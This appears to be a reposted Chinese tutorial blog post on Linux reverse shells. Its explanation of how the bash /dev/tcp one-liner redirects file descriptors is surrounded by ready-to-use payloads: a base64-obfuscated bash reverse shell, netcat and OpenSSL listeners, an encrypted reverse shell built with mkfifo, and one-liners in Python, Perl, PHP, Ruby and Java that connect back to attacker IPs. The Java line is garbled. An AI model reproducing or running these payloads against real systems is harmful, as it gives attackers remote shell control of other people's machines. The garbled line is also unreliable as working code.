Linux反弹shell学习
Posted paidx0
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux反弹shell学习相关的知识,希望对你有一定的参考价值。
前言
当我们可以在
远程Linux主机
上执行任意命令或写入任意的数据到任意的文件的时候
通常会通过反弹一个shell
来控制远程主机
bash 反弹shell
Linux反弹shell使用这条命令,但反弹回来的shell是不可交互的
bash -i >& /dev/tcp/10.10.10.134/2333 0>&1
也可以{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI3LzQ0NDQgMD4mMSA=}|{base64,-d}|{bash,-i}
客户端用
netcat
进行接收
nc -lvvp 2333
监听2333端口
使用什么样的用户反弹的shell,就是当前用户的权限(只有拥有/bin/bash 的用户才能够使用该命令)
命令原理
首先 bash -i
是打开一个交互式的bash终端
/dev/tcp/
是linux的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
那么>&
和 0>&1
又是什么意思呢?
首先我们了解一下Linux文件描述符和重定向。
linux shell下常用的文件描述符是:
标准输入
(stdin) :代码为 0 ,使用 < 或 <<
标准输出
(stdout):代码为 1 ,使用 > 或 >>
标准错误输出
(stderr):代码为 2 ,使用 2> 或 2>>
然后发现 >&
和 &>
两者一个意思,都是将标准错误输出合并到标准输出中。
如果我们执行一个命令,比如 ls -lh > test ,这样的话,test文件中只会保存我们执行这个命令正常的输出结果
而如果我们执行命令 ls -lh >& test 或者 ls -lh &> test ,这样的话,test文件中既会保存我们执行这个命令正常的结果,也会保存我们执行这个命令出错了的结果。
所以,当我们执行命令:bash -i >& /dev/tcp/10.10.10.134/2333 时,他会与10.10.10.134/2333号端口建立一个socket连接,把bash的标准输出和标准错误输出发给10.10.10.134/2333。也就是获得了他的shell,但是10.10.10.134却不能进行操作。
同理0>&1
和 0<&1
也是一个意思,都是将标准输入重定向到标准输出中。所以加入 0>&1 的话,就可以接受用户的输入了。
所以,结合上面的:bash -i >& /dev/tcp/10.10.10.134/2333 0>&1 命令是意思是:与10.10.10.134/2333端口建立一个socket连接,把bash的标准输出和标准错误输出发给10.10.10.134/2333。并且可以接受输入,也就是可以进行交互式操作
但是更多时候获得的shell并不是一个具有完整的交互shell
如果目标的主机有python环境,我们在获得反弹shell后,可以执行这个命令得到一个正常可交互的shell
python -c 'import pty;pty.spawn("/bin/bash")'
加密bash反弹shell
在攻击机上生成SSL证书的公钥私钥对,一路回车
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
然后用
openssl
监听反弹shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333
目标机用openssl加密反弹shell的流量
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.136:4444 > /tmp/s;rm /tmp/s
其他反弹shell
同样是只有拥有/bin/bash
的用户才能使用,使用什么样的用户反弹什么权限
Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.25”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);’
Perl
perl -e ‘use Socket;$i=“192.168.10.13”;$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
php
php -r ‘$sock=fsockopen(“192.168.10.13”,8888);exec("/bin/sh -i <&3>&3 2>&3");’
Ruby
ruby -rsocket -e’f=TCPSocket.open(“192.168.10.13”,8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)’
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2=”" |="" while="" read="" line;="" do="" $line="">&5 >&5; done"] as String[]) p.waitFor()
以上是关于Linux反弹shell学习的主要内容,如果未能解决你的问题,请参考以下文章